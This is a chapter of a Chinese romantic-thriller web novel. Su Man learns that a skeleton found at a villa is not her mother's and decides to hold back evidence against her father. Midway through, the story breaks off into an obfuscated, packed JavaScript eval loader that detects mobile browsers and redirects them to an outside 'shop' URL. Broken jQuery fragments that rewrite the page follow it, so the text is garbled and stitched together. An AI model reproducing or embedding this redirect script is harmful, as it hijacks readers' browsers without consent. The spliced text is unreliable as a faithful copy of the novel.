第八十八章
从宋家马场出来时,天阴得厉害,云层压得很低,仿佛一伸手就能触到湿气。
苏蔓拢了拢风衣领口,车子已在门前等候,她正要拉开车门,另一辆车却裹着风声急刹在旁侧。
车门推开,陆临舟跨出来。
他像是匆忙赶来的,头发被风吹得有些乱,大衣的扣子甚至错开了一颗。
他隔着几步的距离看她,眼底有未平的波澜,还有长途奔波的疲惫。
“苏蔓!”
苏蔓的手停在车门把手上,没回头,只用眼角扫了他一眼:“陆总真是身强力壮,这么快就痊愈,追到港城来了。”
“你这别扭,到底要闹到什么时候,”陆临舟走近一步,“给你打电话,怎么不开机?”
“手机没电了。”她答得敷衍,终于转过身,迎上他的视线。
眼底有红血丝,下颌的胡茬冒出来,是少有的邋遢,看来是真的着急了。
她心里说不清道不明的郁气,忽然散了些,语气缓和:“有事?”
“你说呢?”陆临舟看着她这副油盐不进的样子,气极反笑,却又拿她没办法,叹了口气,伸手想碰碰她的脸,却在半空停住,转为替她将一缕被风吹乱的头发别到耳后,“骸骨的事,你知道了,接下来……打算怎么办?”指尖故意擦过她的耳廓。
苏蔓偏头躲开:“回海丽,我已经拿到了苏鸿德的证据,避免夜长梦多,直接去警局。”
“好,我跟你一起。”
苏蔓点点头,转身上了他的车。
陆临舟眼底闪过欣喜,绕到另一边,上车。
回程的私人飞机,引擎低沉而规律的轰鸣,舷窗外,浩瀚的云海翻滚涌动,如凝固的巨浪,又似未解的愁绪,无边无际。
苏蔓的侧脸贴在舷窗上,光影在她精致的轮廓上流转,长长的睫毛遮住眼睑,蔽住眸中所有的波澜,只余下疲惫。
陆临舟坐在她身侧,目光未曾离开过她一分一毫。那种盘桓心头的强烈思念,在此刻静谧的空间里,被压抑的担忧带来的复杂心绪酝酿发酵,即将成为沸腾的滚水。
他看着她纤细的脖颈,看着她抿紧的唇线,距离上一次这样靠近,这样安心地看着她侧颜的日子,似乎已经恍如隔世。
冲动来得毫无预兆,又仿佛蓄谋已久。
陆临舟身体倾过去,用指腹去蹭她的耳垂,苏蔓刚想动,他便已经吻了上去。
“陆临舟,你……”她抬手就去推他。
“对不起……”陆临舟抓住她的手,放在唇边吻了一下,“有些事,不是刻意要瞒你,只是还没到告诉你的时机。”
正说着,另一只手直接绕到她颈后,压下来,封住她的唇。
苏蔓在他怀里挣动,手指抓住他的胸口向外扯,瞬间将他衣领上的扣子扯开。
一吻暂歇,彼此的喘息都有些乱。
陆临舟与她鼻尖相触,看着她带着恼意和水汽的眸子,唇角含笑:“怎么?怕了?”
“谁怕谁是狗?”苏蔓挑眉。
陆临舟轻笑一声,轻咬一下她的鼻尖:“假威风。”说着向她衣领里探手。
“陆,陆临舟?”她截住对方不怀好意的手。
陆临舟眼中滑过野性的光:“不行吗?”他反问。
说完,他身体力行地给出了答案。
同时长臂一伸,按下座椅旁的“勿打扰”按钮。
他将她更深地按进座椅里,另一只手已经熟练地去描摹她腰线的弧度。
唇再次覆下,这一次带着更明确的目的,不再满足于浅尝辄止。
云海翻滚得越发激烈,机舱内的空气却已然升腾,带着汗湿的肌肤相贴的黏腻,和被他掌控的亲昵呜咽。舷窗外的天光投在纠缠的身影上,圈禁出一方只属于彼此的世界。
飞机降落在海丽,已是傍晚,机场灯火通明。
下了飞机,往停车场走的路上,经过洗手间,苏蔓脚步顿了顿:“等我,我去一下。”
陆临舟点点头,站在廊道边等她。
时间一分一秒过去,廊道里人来人往,他看了几次表,十五分钟过去了,她还没出来。
又过了五分钟,苏蔓终于走了出来,脸色有些苍白,但神情依旧平静,甚至过分平静了。
“怎么这么久?”陆临舟上前,“是因为刚才......”
苏蔓勉强挤出一点笑,“可能有点累,”她抬眼看他,“我想先去警局。”
“现在?是要看鉴定报告?”
“嗯。”
*
警局技术科办公室,负责的人是个中年男人,面容严肃,拿出厚厚的档案袋和几张报告单,摊开在桌面上。
“经过DNA比对和骸骨特征分析,可以确定,望澜湾七号别墅发现的女性骸骨,与苏蔓小姐提供的生物检材不存在直系血缘关系。”
苏蔓垂眼看着上面密密麻麻的数据、图表、专业术语,她其实看不太懂,但最后一行加粗的结论,她看得明白。
真的不是妈妈。
她拿到了所有的一切,马上就能将那群恶魔绳之以法了,现在告诉她,那具骸骨不是妈妈,那妈妈到底在哪?是死在了别处,还是……根本还活着?
这个念头来得猝不及防,她感到一阵突如其来的窒息感,仿佛办公室里的空气都被抽干了。
“苏小姐?”技术人员疑惑地看着她。
苏蔓回过神,抬眼,勉强扯出一个微笑:“辛苦了,报告……我可以复印一份吗?”
“可以的。”
等待复印的几分钟,格外漫长。
拿到复印件,苏蔓几乎是用抢的,迅速对折,塞进包里:“我出去抽支烟。”
陆临舟看着她毫无血色的脸,点头,“好,我在这儿等你,”他顿了顿,伸手抚上她的肩膀,“然后,我陪你去把苏鸿德的证据交给警方。”
苏蔓的脚步顿了一下,没有回头,极轻地“嗯”了一声,便快步走了出去。
警局大楼外,舒爽的风拂过身边,她却觉得冷得刺骨。
苏蔓走到拐角僻静处,背靠着墙壁,这才放任自己深深吸了一口气,但那口气却在胸口堵着,闷得发疼。
她在身上摸了半天,也没摸到烟盒,这才想起,自己已经戒烟了。
埋在栗子树下的是谁,父亲当年,除了母亲,还让谁无声无息地消失在别墅之内?
风灌进衣领,她抱紧手臂,没有立刻回去。
她从包里拿出宋璟逸交给她的U盘。
交给警方?把所有指向苏鸿德罪行和诈死的证据,全部交出去?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994696|187884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>这是她计划里的最后一步,逼蛇出动,然后让他接受法律的制裁。
可是现在……母亲的骸骨成了谜。
这背后牵扯的,恐怕远不止苏鸿德一个人,周扬也说过,没有高额的回报,没有人愿意铤而走险,苏家能这么多年经营这些事,一直屹立不倒,背后一定有一个强大的力量支撑。
此刻贸然交出所有,打草惊蛇,那个真正隐藏在最后面的人,就会彻底遁入黑暗。
况且,母亲的下落,如今又成了谜......
恨意和理智在脑海里疯狂撕扯。
她恨苏鸿德,恨不得他立刻身败名裂、锒铛入狱。
可她又清醒地知道,现在还不是最终收网的时候。
至少,在弄清楚母亲的下落之前,不能。
风吹得她头痛欲裂,她闭了闭眼,再睁开时,眸底翻涌的激烈情绪已被强行压下。
她迅速拨通苏鸿业的电话:“二叔,告诉我爸爸,我手里有样东西,他一定非常感兴趣。”
屏幕暗下去的瞬间,她最后看了一眼警局的方向,拉紧外套,转身,快步没入街道对面的夜色里。
*
陆临舟在办公室里等了将近二十分钟。
最初的耐心逐渐被焦灼取代,他走到窗边,看向楼下苏蔓刚才离开的方向,只有空旷的街道和零星的车灯。
不对劲。
他拿出手机,拨通她的号码。
听筒里传来的,是制式的女声:“对不起,您所拨打的电话已关机。”
陆临舟的心,猛地沉了下去。
他握紧手机,冲出办公室,奔向苏蔓刚才离开的拐角。
*
海丽医院顶层的特护病房区,走廊尽头病房门口,杵着两个身形剽悍的男人,眼神警惕地扫视着空旷的走廊。
苏蔓出现在楼梯口,手里捧着一大束沾着水珠的百合,高跟鞋敲在光洁的大理石地面上,不疾不徐,像是在赴一场寻常的约会。
路过那两个保镖时,眼风都未扫一下,径直推开病房门。
病床上,苏鸿业倚靠着摇起的床头,身上插着几根管子,脸色蜡黄,眼窝深陷,往日的精明强干被一种从骨头里透出的颓败取代。
苏蔓的闯入,让本已颓靡的病人突然罩上一层回光。
“二叔,”她开口,声音清凌凌的,“怎么还没好啊?”她走到窗边的花瓶旁,伸出手,毫不怜惜地抓住瓶子里的康乃馨,一把从瓶中拔出,随手丢进了一旁的垃圾桶。
接着将自己带来的百合,一枝一枝,仔细地插进瓶中。
做完这一切,她才转过身,背靠着窗台,逆光让她脸上的表情有些模糊,唯有一双眼睛,亮得慑人。
她微笑着,用一种近乎天真的好奇口吻,慢悠悠地问:“二叔,您这到底得的是什么病啊?海丽最好的医院,最贵的专家,怎么就……治不好呢?”
苏鸿业用混浊的眼珠恶狠狠地瞪向她。
苏蔓恍若未见,指尖轻轻拂过一片百合花瓣,继续柔声柔气地说:“是不是……做了太多孽,欠了太多债,所以……被恶鬼找上门,缠住啦?”
“苏蔓!”门口,传来一个苍老的声音,“鸿业再怎么说也是你二叔,你的刻薄不应该用在自家人身上,爸爸平时是怎么教你的?”